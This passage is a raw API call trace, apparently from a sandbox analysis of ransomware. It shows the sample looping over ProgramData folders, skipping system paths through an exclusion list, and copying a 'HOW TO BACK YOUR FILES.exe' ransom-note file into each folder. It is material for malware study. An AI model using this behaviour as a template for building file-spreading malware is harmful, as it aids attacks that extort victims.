lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0034.604] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0034.604] lstrlenW (lpString="Favorites") returned 9 [0034.604] lstrcpyW (in: lpString1=0x241e866, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0034.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db38 [0034.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x527fe8 [0034.604] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0034.604] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0034.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.611] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.611] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.611] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0034.611] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0034.611] lstrlenW (lpString="Microsoft") returned 9 [0034.611] lstrcpyW (in: lpString1=0x241e866, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0034.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc10 [0034.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x528340 [0034.611] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0034.611] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0034.611] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.613] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0034.613] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.613] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0034.614] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0034.614] lstrlenW (lpString="Microsoft Help") returned 14 [0034.614] lstrcpyW (in: lpString1=0x241e866, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0034.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc28 [0034.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f760 [0034.614] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0034.614] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0034.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.618] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0034.618] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0034.619] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0034.619] lstrlenW (lpString="Mozilla") returned 7 [0034.619] lstrcpyW (in: lpString1=0x241e866, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0034.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbf8 [0034.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51a8a0 [0034.619] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0034.619] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0034.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1 [0034.621] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1 [0034.622] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1 [0034.622] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1 [0034.622] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1 [0034.622] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1 [0034.622] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1 [0034.622] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1 [0034.622] lstrlenW (lpString="Oracle") returned 6 [0034.622] lstrcpyW (in: lpString1=0x241e866, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0034.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbe0 [0034.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2c) returned 0x51a8d8 [0034.622] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0034.622] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0034.622] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.625] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1 [0034.625] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1 [0034.625] lstrlenW (lpString="Package Cache") returned 13 [0034.625] lstrcpyW (in: lpString1=0x241e866, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0034.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db50 [0034.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f7a8 [0034.625] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0034.625] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0034.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.629] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1 [0034.629] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1 [0034.629] lstrlenW (lpString="Start Menu") returned 10 [0034.629] lstrcpyW (in: lpString1=0x241e866, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0034.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db68 [0034.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x528380 [0034.629] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0034.629] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0034.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.634] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1 [0034.634] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1 [0034.634] lstrlenW (lpString="Sun") returned 3 [0034.634] lstrcpyW (in: lpString1=0x241e866, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0034.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbb0 [0034.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x26) returned 0x5180d8 [0034.634] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0034.634] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0034.634] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.637] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0034.637] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0034.637] lstrlenW (lpString="Templates") returned 9 [0034.638] lstrcpyW (in: lpString1=0x241e866, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0034.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db98 [0034.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529410 [0034.638] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0034.638] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0034.638] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.643] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0034.643] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.643] ReleaseMutex (hMutex=0xec) returned 1 [0034.643] CloseHandle (hObject=0xec) returned 1 [0034.643] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0034.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510b10 | out: hHeap=0x4f0000) returned 1 [0034.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509068 | out: hHeap=0x4f0000) returned 1 [0034.643] lstrlenW (lpString="C:\\Recovery") returned 11 [0034.643] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AF47872645DE336BC128C3C90A5A3E4D") returned 0xec [0034.643] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.643] lstrcatW (in: lpString1="", lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0034.643] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.643] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Recovery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.644] CreateFileW (lpFileName="C:\\Recovery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.644] GetLastError () returned 0x0 [0034.644] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52c410 [0034.644] ReadFile (in: hFile=0xf4, lpBuffer=0x52c410, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52c410*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.644] CloseHandle (hObject=0xf4) returned 1 [0034.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c410 | out: hHeap=0x4f0000) returned 1 [0034.644] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.644] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3354e0, 